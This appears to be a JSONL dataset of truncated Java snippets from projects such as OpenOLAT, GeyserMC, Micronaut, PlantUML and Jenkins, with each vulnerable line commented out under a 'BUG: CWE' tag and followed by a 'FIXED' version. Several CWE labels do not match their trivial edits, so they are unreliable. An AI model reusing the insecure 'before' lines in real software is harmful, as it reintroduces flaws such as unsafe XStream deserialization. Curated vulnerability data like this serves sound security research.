\n * \n * @author Sergio Trentini\n */\n@Service(\"org.olat.ims.cp.CPManager\")\npublic class CPManagerImpl implements CPManager {\n\t\n\tprivate static final Logger log = Tracing.createLoggerFor(CPManagerImpl.class);\n\n\tpublic static final String PACKAGE_CONFIG_FILE_NAME = \"CPPackageConfig.xml\";\n\n\tprivate static XStream configXstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] {\n\t\t\t\tCPPackageConfig.class, DeliveryOptions.class\n\t\t\t};\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// XStream.setupDefaultSecurity(configXstream);\n\t\t// FIXED: \n\t\tconfigXstream.addPermission(new ExplicitTypePermission(types));\n\t\tconfigXstream.alias(\"packageConfig\", CPPackageConfig.class);\n\t\tconfigXstream.alias(\"deliveryOptions\", DeliveryOptions.class);\n\t}\n\n\t@Override\n\tpublic CPPackageConfig getCPPackageConfig(OLATResourceable ores) {\n\t\tFileResourceManager frm = FileResourceManager.getInstance();\n\t\tFile reFolder = frm.getFileResourceRoot(ores);\n\t\tFile configXml = new File(reFolder, PACKAGE_CONFIG_FILE_NAME);\n\t\t\n\t\tCPPackageConfig config;\n\t\tif(configXml.exists()) {\n\t\t\tconfig = (CPPackageConfig)configXstream.fromXML(configXml);\n\t\t} else {\n\t\t\t//set default config\n\t\t\tconfig = new CPPackageConfig();\n\t\t\tconfig.setDeliveryOptions(DeliveryOptions.defaultWithGlossary());\n\t\t\tsetCPPackageConfig(ores, config);\n\t\t}\n\t\treturn config;\n\t}\n\n\t@Override\n\tpublic void setCPPackageConfig(OLATResourceable ores, CPPackageConfig config) {\n\t\tFileResourceManager frm = FileResourceManager.getInstance();\n\t\tFile reFolder = frm.getFileResourceRoot(ores);\n\t\tFile configXml = new File(reFolder, PACKAGE_CONFIG_FILE_NAME);\n\t\tif(config == null) {\n\t\t\tFileUtils.deleteFile(configXml);\n\t\t} else {\n\t\t\ttry(OutputStream out = new FileOutputStream(configXml)) {\n\t\t\t\tconfigXstream.toXML(con<|endoftext|>"} +{"language": "java", "text": " * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.java;\n\nimport com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket;\nimport com.nukkitx.protocol.bedrock.packet.TextPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.network.translators.chat.MessageTranslator;\n\n@Translator(packet = ServerChatPacket.class)\npublic class JavaChatTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ServerChatPacket packet, GeyserSession session) {\n // FIXED:\n public void translate(GeyserSession session, ServerChatPacket packet) {\n TextPacket textPacket = new TextPacket();\n textPacket.setPlatformChatId(\"\");\n textPacket.setSourceName(\"\");\n textPacket.setXuid(session.getAuthData().getXboxUUID());\n switch (packet.getType()) {\n case CHAT:\n textPacket.setType(TextPacket.Type.CHAT);\n break;\n case SYSTEM:\n textPacket.setType(TextPacket.Type.SYSTEM);\n break;\n case NOTIFICATION:\n textPacket.setType(TextPacket.Type.TIP);\n break;\n default:\n textPacket.setType(TextPacket.Type.RAW);\n break;\n }\n\n textPacket.setNeedsTranslation(false);\n textPacket.setMessage(MessageTranslator.convertMessage(packet.getMessage(), session.getLocale()));\n\n session.sendUpstreamPacket(textPacket);\n }\n}\n<|endoftext|>"} +{"language": "java", "text": ";\nimport io.micronaut.http.MutableHttpHeaders;\nimport io.netty.handler.codec.http.DefaultHttpHeaders;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Optional;\nimport java.util.Set;\n\n/**\n * Delegates to Netty's {@link io.netty.handler.codec.http.HttpHeaders}.\n *\n * @author Graeme Rocher\n * @since 1.0\n */\n@Internal\npublic class NettyHttpHeaders implements MutableHttpHeaders {\n\n io.netty.handler.codec.http.HttpHeaders nettyHeaders;\n final ConversionService conversionService;\n\n /**\n * @param nettyHeaders The Netty Http headers\n * @param conversionService The conversion service\n */\n public NettyHttpHeaders(io.netty.handler.codec.http.HttpHeaders nettyHeaders, ConversionService conversionService) {\n this.nettyHeaders = nettyHeaders;\n this.conversionService = conversionService;\n }\n\n /**\n * Default constructor.\n */\n public NettyHttpHeaders() {\n // BUG: CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')\n // this.nettyHeaders = new DefaultHttpHeaders(false);\n // FIXED:\n this.nettyHeaders = new DefaultHttpHeaders();\n this.conversionService = ConversionService.SHARED;\n }\n\n /**\n * @return The underlying Netty headers.\n */\n public io.netty.handler.codec.http.HttpHeaders getNettyHeaders() {\n return nettyHeaders;\n }\n\n /**\n * Sets the underlying netty headers.\n *\n * @param headers The Netty http headers\n */\n void setNettyHeaders(io.netty.handler.codec.http.HttpHeaders headers) {\n this.nettyHeaders = headers;\n }\n\n @Override\n public Optional get(CharSequence name, ArgumentConversionContext conversionContext) {\n List values = nettyHeaders.getAll(name);\n if (values.size() > 0) {\n if (values.size() == 1 || !isCollectionOrArray(conversionContext.getArgument().getType())) {\n return conversionService.convert(values.get(0), conversionContext);\n } else {\n return conversionService.convert(values, conversionContext);\n }\n }\n return Optional.empty();\n }\n\n private boolean isCollectionOrArray(Class clazz) {\n return clazz.isArray() || Collection.class.isAssignableFrom(cla<|endoftext|>"} +{"language": "java", "text": "ER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.Hand;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerSwingArmPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientSteerBoatPacket;\nimport com.nukkitx.protocol.bedrock.packet.AnimatePacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport java.util.concurrent.TimeUnit;\n\n@Translator(packet = AnimatePacket.class)\npublic class BedrockAnimateTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(AnimatePacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, AnimatePacket packet) {\n // Stop the player sending animations before they have fully spawned into the server\n if (!session.isSpawned()) {\n return;\n }\n\n switch (packet.getAction()) {\n case SWING_ARM:\n // Delay so entity damage can be processed first\n session.scheduleInEventLoop(() ->\n session.sendDownstreamPacket(new ClientPlayerSwingArmPacket(Hand.MAIN_HAND)),\n 25,\n TimeUnit.MILLISECONDS\n );\n break;\n // These two might need to be flipped, but my recommendation is getting moving working first\n case ROW_LEFT:\n // Packet value is a float of how long one has been rowing, so we convert that into a boolean\n session.setSteeringLeft(packet.getRowingTime() > 0.0);\n ClientSteerBoatPacket steerLeftPacket = new ClientSteerBoatPacket(session.isSteeringLeft(), session.isSteeringRight());\n session.sendDownstreamPacket(steerLeftPacket);\n break;\n case ROW_RIGHT:\n <|endoftext|>"} +{"language": "java", "text": " if (eventLoop.inEventLoop()) {\n translate0(session, translator, packet);\n } else {\n eventLoop.execute(() -> translate0(session, translator, packet));\n }\n return true;\n } else {\n if ((GeyserConnector.getInstance().getPlatformType() != PlatformType.STANDALONE || !(packet instanceof BedrockPacket)) && !IGNORED_PACKETS.contains(clazz)) {\n // Other debug logs already take care of Bedrock packets for us if on standalone\n GeyserConnector.getInstance().getLogger().debug(\"Could not find packet for \" + (packet.toString().length() > 25 ? packet.getClass().getSimpleName() : packet));\n }\n }\n }\n return false;\n }\n\n private

void translate0(GeyserSession session, PacketTranslator

translator, P packet) {\n if (session.isClosed()) {\n return;\n }\n\n try {\n // BUG: CWE-287 Improper Authentication\n // translator.translate(packet, session);\n // FIXED:\n translator.translate(session, packet);\n } catch (Throwable ex) {\n GeyserConnector.getInstance().getLogger().error(LanguageUtils.getLocaleStringLog(\"geyser.network.translator.packet.failed\", packet.getClass().getSimpleName()), ex);\n ex.printStackTrace();\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": " @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock.entity;\n\nimport com.github.steveice10.mc.protocol.data.game.window.VillagerTrade;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientSelectTradePacket;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityData;\nimport com.nukkitx.protocol.bedrock.packet.EntityEventPacket;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.inventory.GeyserItemStack;\nimport org.geysermc.connector.inventory.Inventory;\nimport org.geysermc.connector.inventory.MerchantContainer;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport java.util.concurrent.TimeUnit;\n\n@Translator(packet = EntityEventPacket.class)\npublic class BedrockEntityEventTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(EntityEventPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, EntityEventPacket packet) {\n switch (packet.getType()) {\n case EATING_ITEM:\n // Resend the packet so we get the eating sounds\n session.sendUpstreamPacket(packet);\n return;\n case COMPLETE_TRADE:\n ClientSelectTradePacket selectTradePacket = new ClientSelectTradePacket(packet.getData());\n session.sendDownstreamPacket(selectTradePacket);\n\n session.scheduleInEventLoop(() -> {\n Entity villager = session.getPlayerEntity();\n Inventory openInventory = session.getOpenInventory();\n if (openInventory instanceof MerchantContainer) {\n MerchantContainer merchantInventory = (MerchantContainer) openInventory;\n VillagerTrade[] trades = merchantInventory.getVillagerTrades();\n if (trades != null && packet.getData() >= 0 && packet.getData() < trades.length) {\n VillagerTrade trade = merchantInventory.getVillagerTrades()[packet.getData()];\n openInventory.setItem(2<|endoftext|>"} +{"language": "java", "text": ")\n\t\t\t\tdrawSingleNode(ug, ent.getKey(), ent.getValue());\n\n\t\t}\n\n\t\tprivate void drawAllEdges(UGraphic ug) {\n\t\t\tfor (Entry ent : edges.entrySet()) {\n\t\t\t\tfinal Link link = ent.getKey();\n\t\t\t\tif (link.isInvis())\n\t\t\t\t\tcontinue;\n\n\t\t\t\tdrawSingleEdge(ug, link, ent.getValue());\n\t\t\t}\n\t\t}\n\n\t\tprivate void drawSingleCluster(UGraphic ug, IGroup group, ElkNode elkNode) {\n\t\t\tfinal Point2D corner = getPosition(elkNode);\n\t\t\tfinal URectangle rect = new URectangle(elkNode.getWidth(), elkNode.getHeight());\n\n\t\t\tPackageStyle packageStyle = group.getPackageStyle();\n\t\t\tfinal ISkinParam skinParam = diagram.getSkinParam();\n\t\t\tif (packageStyle == null)\n\t\t\t\tpackageStyle = skinParam.packageStyle();\n\n\t\t\tfinal UmlDiagramType umlDiagramType = diagram.getUmlDiagramType();\n\n\t\t\tfinal Style style = Cluster.getDefaultStyleDefinition(umlDiagramType.getStyleName(), group.getUSymbol())\n\t\t\t\t\t.getMergedStyle(skinParam.getCurrentStyleBuilder());\n\t\t\tfinal double shadowing = style.value(PName.Shadowing).asDouble();\n\t\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t\t// final UStroke stroke = Cluster.getStrokeInternal(group, skinParam, style);\n\t\t\t// FIXED: \n\t\t\tfinal UStroke stroke = Cluster.getStrokeInternal(group, style);\n\n\t\t\tHColor backColor = getBackColor(umlDiagramType);\n\t\t\tbackColor = Cluster.getBackColor(backColor, skinParam, group.getStereotype(), umlDiagramType.getStyleName(),\n\t\t\t\t\tgroup.getUSymbol());\n\n\t\t\tfinal double roundCorner = group.getUSymbol() == null ? 0\n\t\t\t\t\t: group.getUSymbol().getSkinParameter().getRoundCorner(skinParam, group.getStereotype());\n\n\t\t\tfinal TextBlock ztitle = getTitleBlock(group);\n\t\t\tfinal TextBlock zstereo = TextBlockUtils.empty(0, 0);\n\n\t\t\tfinal ClusterDecoration decoration = new ClusterDecoration(packageStyle, group.getUSymbol(), ztitle,\n\t\t\t\t\tzstereo, 0, 0, elkNode.getWidth(), elkNode.getHeight(), stroke);\n\n\t\t\tfinal HColor borderColor = HColorUtils.BLACK;\n\t\t\tdecoration.drawU(ug.apply(new UTranslate(corner)), backColor, borderColor, shadowing, roundCorner,\n\t\t\t\t\tskinParam.getHorizontalAlignment(AlignmentParam.packageTitleAlignment, null, false, null),\n\t\t\t\t\tskinParam.getStereotypeAlignment(), 0);\n\n//\t\t\t// Print a simple rectangle right now\n//\t\t\tug.apply(HColorUtils.BLACK).apply(new UStroke(1.5)).apply(new UTranslate(corner)).draw(rect);\n\t\t}\n\n\t\tprivate TextBlock getTitleBlock(IGroup g) {\n\t\t\tfinal Display<|endoftext|>"} +{"language": "java", "text": "ring) {\n\t\tfinal Context result = new Context();\n\t\tresult.data.addAll(this.data);\n\t\tresult.data.add(newString);\n\t\treturn result;\n\t}\n\n\tpublic Context pop() {\n\t\tif (size() == 0)\n\t\t\tthrow new IllegalStateException();\n\t\tfinal Context result = new Context();\n\t\tresult.data.addAll(this.data.subList(0, this.data.size() - 1));\n\t\treturn result;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn data.toString();\n\t}\n\n\tpublic int size() {\n\t\treturn data.size();\n\t}\n\n\tpublic Collection toSignatures() {\n\t\tList results = new ArrayList<>(Collections.singletonList(StyleSignatureBasic.empty()));\n\t\tboolean star = false;\n\t\tfor (Iterator it = data.iterator(); it.hasNext();) {\n\t\t\tString s = it.next();\n\t\t\tif (s.endsWith(\"*\")) {\n\t\t\t\tstar = true;\n\t\t\t\ts = s.substring(0, s.length() - 1);\n\t\t\t}\n\t\t\tfinal String[] names = s.split(\",\");\n\t\t\tfinal List tmp = new ArrayList<>();\n\t\t\tfor (StyleSignatureBasic ss : results)\n\t\t\t\tfor (String name : names)\n\t\t\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t\t\t// tmp.add(ss.add(name));\n\t\t\t\t// FIXED: \n\t\t\t\t\ttmp.add(ss.add(name.trim()));\n\t\t\tresults = tmp;\n\t\t}\n\n\t\tif (star)\n\t\t\tfor (ListIterator it = results.listIterator(); it.hasNext();) {\n\t\t\t\tfinal StyleSignatureBasic tmp = it.next().addStar();\n\t\t\t\tit.set(tmp);\n\t\t\t}\n\n\t\treturn Collections.unmodifiableCollection(results);\n\t}\n\n}<|endoftext|>"} +{"language": "java", "text": "t.ingame.client.world.ClientSteerVehiclePacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientVehicleMovePacket;\nimport com.nukkitx.math.vector.Vector3f;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityData;\nimport com.nukkitx.protocol.bedrock.packet.PlayerInputPacket;\nimport org.geysermc.connector.entity.BoatEntity;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.entity.living.animal.horse.AbstractHorseEntity;\nimport org.geysermc.connector.entity.living.animal.horse.LlamaEntity;\nimport org.geysermc.connector.entity.type.EntityType;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n/**\n * Sent by the client for minecarts and boats.\n */\n@Translator(packet = PlayerInputPacket.class)\npublic class BedrockPlayerInputTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(PlayerInputPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, PlayerInputPacket packet) {\n ClientSteerVehiclePacket clientSteerVehiclePacket = new ClientSteerVehiclePacket(\n packet.getInputMotion().getX(), packet.getInputMotion().getY(), packet.isJumping(), packet.isSneaking()\n );\n\n session.sendDownstreamPacket(clientSteerVehiclePacket);\n\n // Bedrock only sends movement vehicle packets while moving\n // This allows horses to take damage while standing on magma\n Entity vehicle = session.getRidingVehicleEntity();\n boolean sendMovement = false;\n if (vehicle instanceof AbstractHorseEntity && !(vehicle instanceof LlamaEntity)) {\n sendMovement = vehicle.isOnGround();\n } else if (vehicle instanceof BoatEntity) {\n if (vehicle.getPassengers().size() == 1) {\n // The player is the only rider\n sendMovement = true;\n } else {\n // Check if the player is the front rider\n Vector3f seatPos = session.getPlayerEntity().getMetadata().getVector3f(EntityData.RIDER_SEAT_POSITION, null);\n if (seatPos != null && seatPos.getX() > 0) {\n <|endoftext|>"} +{"language": "java", "text": "HETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock.entity.player;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.PlayerState;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerStatePacket;\nimport com.nukkitx.protocol.bedrock.packet.RiderJumpPacket;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.entity.living.animal.horse.AbstractHorseEntity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\n@Translator(packet = RiderJumpPacket.class)\npublic class BedrockRiderJumpTranslator extends PacketTranslator {\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(RiderJumpPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, RiderJumpPacket packet) {\n Entity vehicle = session.getRidingVehicleEntity();\n if (vehicle instanceof AbstractHorseEntity) {\n ClientPlayerStatePacket playerStatePacket = new ClientPlayerStatePacket((int) vehicle.getEntityId(), PlayerState.START_HORSE_JUMP, packet.getJumpStrength());\n session.sendDownstreamPacket(playerStatePacket);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "ss.getName(), boolean.class.getName()});\n\n return new FilePath(hprof);\n } catch (JMException e) {\n throw new IOException2(e);\n }\n }\n\n private static final long serialVersionUID = 1L;\n });\n }\n\n /**\n * Heap dump, exposable to URL via Stapler.\n *\n */\n public static class HeapDump {\n private final AccessControlled owner;\n private final VirtualChannel channel;\n\n public HeapDump(AccessControlled owner, VirtualChannel channel) {\n this.owner = owner;\n this.channel = channel;\n }\n\n /**\n * Obtains the heap dump.\n */\n public void doIndex(StaplerResponse rsp) throws IOException {\n rsp.sendRedirect(\"heapdump.hprof\");\n }\n\n @WebMethod(name=\"heapdump.hprof\")\n public void doHeapDump(StaplerRequest req, StaplerResponse rsp) throws IOException, InterruptedException {\n // BUG: CWE-264 Permissions, Privileges, and Access Controls\n // owner.checkPermission(Jenkins.ADMINISTER);\n // FIXED:\n owner.checkPermission(Jenkins.RUN_SCRIPTS);\n rsp.setContentType(\"application/octet-stream\");\n\n FilePath dump = obtain();\n try {\n dump.copyTo(rsp.getCompressedOutputStream(req));\n } finally {\n dump.delete();\n }\n }\n\n public FilePath obtain() throws IOException, InterruptedException {\n return RemotingDiagnostics.getHeapDump(channel);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.Hand;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.player.ClientPlayerUseItemPacket;\nimport com.nukkitx.protocol.bedrock.data.inventory.ContainerId;\nimport com.nukkitx.protocol.bedrock.packet.MobEquipmentPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.CooldownUtils;\nimport org.geysermc.connector.utils.InteractiveTagManager;\n\nimport java.util.concurrent.TimeUnit;\n\n@Translator(packet = MobEquipmentPacket.class)\npublic class BedrockMobEquipmentTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(MobEquipmentPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, MobEquipmentPacket packet) {\n if (!session.isSpawned() || packet.getHotbarSlot() > 8 ||\n packet.getContainerId() != ContainerId.INVENTORY || session.getPlayerInventory().getHeldItemSlot() == packet.getHotbarSlot()) {\n // For the last condition - Don't update the slot if the slot is the same - not Java Edition behavior and messes with plugins such as Grief Prevention\n return;\n }\n\n // Send book update before switching hotbar slot\n session.getBookEditCache().checkForSend();\n\n session.getPlayerInventory().setHeldItemSlot(packet.getHotbarSlot());\n\n ClientPlayerChangeHeldItemPacket changeHeldItemPacket = new ClientPlayerChangeHeldItemPacket(packet.getHotbarSlot());\n session.sendDownstreamPacket(changeHeldItemPacket);\n\n if (session.isSneaking() && session.getPlayerInventory().getItemInHand().getJavaId() == session.getItemMappings().getStoredItems().shield().getJavaId()) {\n // Activate shield since we are already sneaking\n // (No need to send a release item packet - Java doesn't do this when swapping items)\n // Require<|endoftext|>"} +{"language": "java", "text": "pyrighted by
\n * frentix GmbH, http://www.frentix.com\n *

\n */\npackage org.olat.core.commons.services.license.manager;\n\nimport org.olat.core.commons.services.license.License;\nimport org.olat.core.commons.services.license.model.LicenseImpl;\nimport org.olat.core.commons.services.license.model.LicenseTypeImpl;\nimport org.olat.core.commons.services.license.model.ResourceLicenseImpl;\nimport org.apache.logging.log4j.Logger;\nimport org.olat.core.logging.Tracing;\nimport org.olat.core.util.StringHelper;\nimport org.olat.core.util.xml.XStreamHelper;\nimport org.springframework.stereotype.Component;\n\nimport com.thoughtworks.xstream.XStream;\n\n/**\n * \n * Initial date: 16.03.2018
\n * @author uhensler, urs.hensler@frentix.com, http://www.frentix.com\n *\n */\n@Component\nclass LicenseXStreamHelper {\n\t\n\tprivate static final Logger log = Tracing.createLoggerFor(LicenseXStreamHelper.class);\n\t\n\tprivate static final XStream licenseXStream = XStreamHelper.createXStreamInstanceForDBObjects();\n\tstatic {\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// \n\t\t// FIXED: \n\t\tXStreamHelper.allowDefaultPackage(licenseXStream);\n\t\tlicenseXStream.alias(\"license\", LicenseImpl.class);\n\t\tlicenseXStream.alias(\"license\", ResourceLicenseImpl.class);\n\t\tlicenseXStream.alias(\"licenseType\", LicenseTypeImpl.class);\n\t\tlicenseXStream.ignoreUnknownElements();\n\t\tlicenseXStream.omitField(LicenseImpl.class, \"creationDate\");\n\t\tlicenseXStream.omitField(LicenseImpl.class, \"lastModified\");\n\t\tlicenseXStream.omitField(ResourceLicenseImpl.class, \"creationDate\");\n\t\tlicenseXStream.omitField(ResourceLicenseImpl.class, \"lastModified\");\n\t\tlicenseXStream.omitField(LicenseTypeImpl.class, \"creationDate\");\n\t\tlicenseXStream.omitField(LicenseTypeImpl.class, \"lastModified\");\n\t}\n\t\n\tString toXml(License license) {\n\t\tif (license == null) return null;\n\n\t\treturn licenseXStream.toXML(license);\n\t}\n\t\n\tLicense licenseFromXml(String xml) {\n\t\tLicense license = null;\n\t\tif(StringHelper.containsNonWhitespace(xml)) {\n\t\t\ttry {\n\t\t\t\tObject obj = licenseXStream.fromXML(xml);\n\t\t\t\tif(obj instanceof License) {\n\t\t\t\t\tlicense = (License) obj;\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tlog.error(\"\", e);\n\t\t\t}\n\t\t}\n\t\treturn license;\n\t}\n\t\n}\n<|endoftext|>"} +{"language": "java", "text": "ntrySet()) {\n\t\t\tfinal FromSkinparamToStyle convertor = new FromSkinparamToStyle(ent.getKey());\n\t\t\tconvertor.convertNow(ent.getValue(), getCurrentStyleBuilder());\n\t\t\tfor (Style style : convertor.getStyles())\n\t\t\t\tmuteStyle(style);\n\t\t}\n\t\tparamsPendingForStyleMigration.clear();\n\t}\n\n\tpublic static SkinParam create(UmlDiagramType type, ThemeStyle style) {\n\t\treturn new SkinParam(type, style);\n\t}\n\n\tpublic static SkinParam noShadowing(UmlDiagramType type, ThemeStyle style) {\n\t\tfinal SkinParam result = new SkinParam(type, style);\n\t\tresult.setParam(\"shadowing\", \"false\");\n\t\treturn result;\n\t}\n\n\tprivate final Map> cacheCleanForKey = new HashMap>();\n\n\tList cleanForKey(String key) {\n\t\tList result = cacheCleanForKey.get(key);\n\t\tif (result == null) {\n\t\t\tresult = cleanForKeySlow(key);\n\t\t\tcacheCleanForKey.put(key, result);\n\t\t}\n\t\treturn result;\n\t}\n\n\tList cleanForKeySlow(String key) {\n\t\tkey = StringUtils.trin(StringUtils.goLowerCase(key));\n\t\t// BUG: CWE-918 Server-Side Request Forgery (SSRF)\n\t\t// key = key.replaceAll(\"_|\\\\.|\\\\s\", \"\");\n\t\t// FIXED: \n\t\tkey = key.replaceAll(\"_|\\\\.\", \"\");\n\t\t// key = replaceSmart(key, \"partition\", \"package\");\n\t\tkey = replaceSmart(key, \"sequenceparticipant\", \"participant\");\n\t\tkey = replaceSmart(key, \"sequenceactor\", \"actor\");\n\t\tkey = key.replaceAll(\"activityarrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"objectarrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"classarrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"componentarrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"statearrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"usecasearrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"sequencearrow\", \"arrow\");\n\t\tkey = key.replaceAll(\"align$\", \"alignment\");\n\t\tfinal Matcher2 mm = stereoPattern.matcher(key);\n\t\tfinal List result = new ArrayList<>();\n\t\twhile (mm.find()) {\n\t\t\tfinal String s = mm.group(1);\n\t\t\tresult.add(key.replaceAll(stereoPatternString, \"\") + \"<<\" + s + \">>\");\n\t\t}\n\t\tif (result.size() == 0)\n\t\t\tresult.add(key);\n\n\t\treturn Collections.unmodifiableList(result);\n\t}\n\n\tprivate static String replaceSmart(String s, String src, String target) {\n\t\tif (s.contains(src) == false) {\n\t\t\treturn s;\n\t\t}\n\t\treturn s.replaceAll(src, target);\n\t}\n\n\tpublic HColor getHyperlinkColor() {\n\t\tfinal HColor result = getHtmlColor(ColorParam.hyperlink, null, false<|endoftext|>"} +{"language": "java", "text": "/*\n * Copyright 2019 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage cd.go.authentication.ldap;\n\nimport cd.go.authentication.ldap.mapper.Mapper;\n\nimport javax.naming.NamingException;\nimport java.util.List;\n\npublic interface LdapClient {\n T authenticate(String username, String password, Mapper mapper);\n // BUG: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')\n // List search(String userSearchFilter, Object[] filterArgs, Mapper mapper, int maxResult);\n // FIXED:\n List search(String userSearchFilter, String[] filterArgs, Mapper mapper, int maxResult);\n\n void validate() throws NamingException;\n}\n<|endoftext|>"} +{"language": "java", "text": "\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.nbt.NbtMap;\nimport com.nukkitx.nbt.NbtMapBuilder;\nimport com.nukkitx.nbt.NbtType;\nimport com.nukkitx.protocol.bedrock.packet.PositionTrackingDBClientRequestPacket;\nimport com.nukkitx.protocol.bedrock.packet.PositionTrackingDBServerBroadcastPacket;\nimport it.unimi.dsi.fastutil.ints.IntArrayList;\nimport it.unimi.dsi.fastutil.ints.IntList;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.DimensionUtils;\nimport org.geysermc.connector.utils.LoadstoneTracker;\n\n@Translator(packet = PositionTrackingDBClientRequestPacket.class)\npublic class BedrockPositionTrackingDBClientRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(PositionTrackingDBClientRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, PositionTrackingDBClientRequestPacket packet) {\n PositionTrackingDBServerBroadcastPacket broadcastPacket = new PositionTrackingDBServerBroadcastPacket();\n broadcastPacket.setTrackingId(packet.getTrackingId());\n\n // Fetch the stored Loadstone\n LoadstoneTracker.LoadstonePos pos = LoadstoneTracker.getPos(packet.getTrackingId());\n\n // If we don't have data for that ID tell the client its not found\n if (pos == null) {\n 